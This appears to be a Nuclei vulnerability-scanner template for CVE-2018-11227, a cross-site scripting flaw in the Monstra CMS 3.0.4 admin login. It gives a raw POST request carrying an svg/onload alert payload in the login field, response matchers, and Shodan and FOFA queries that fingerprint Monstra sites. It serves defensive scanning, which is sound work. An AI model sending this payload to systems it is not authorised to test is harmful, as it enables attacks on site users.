id: CVE-2018-11227

info:
  name: Monstra CMS <=3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php.  An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade Monstra CMS to a version higher than 3.0.4 or apply the official patch provided by the vendor.
  reference:
    - https://github.com/monstra-cms/monstra/issues/438
    - https://www.exploit-db.com/exploits/44646
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
    - https://github.com/monstra-cms/monstra/issues
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11227
    cwe-id: CWE-79
    epss-score: 0.05577
    epss-percentile: 0.89888
    cpe: cpe:2.3:a:monstra:monstra_cms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: monstra
    product: monstra_cms
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve,cve2018,xss,mostra,mostracms,cms,edb,monstra

http:
  - raw:
      - |
        POST /admin/index.php?id=pages HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><svg/onload=alert(document.domain)>"
          - "Monstra"
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210083ef66854c762605b20aa7218c2015fd4c9e0eba7aad63923a3d7c7eaa7250f6022032199079e3c4f9032659b78b2efd370293b583ba6afeef48aee05b2ae26c79ce:922c64590222798bb761d5b6d8e72950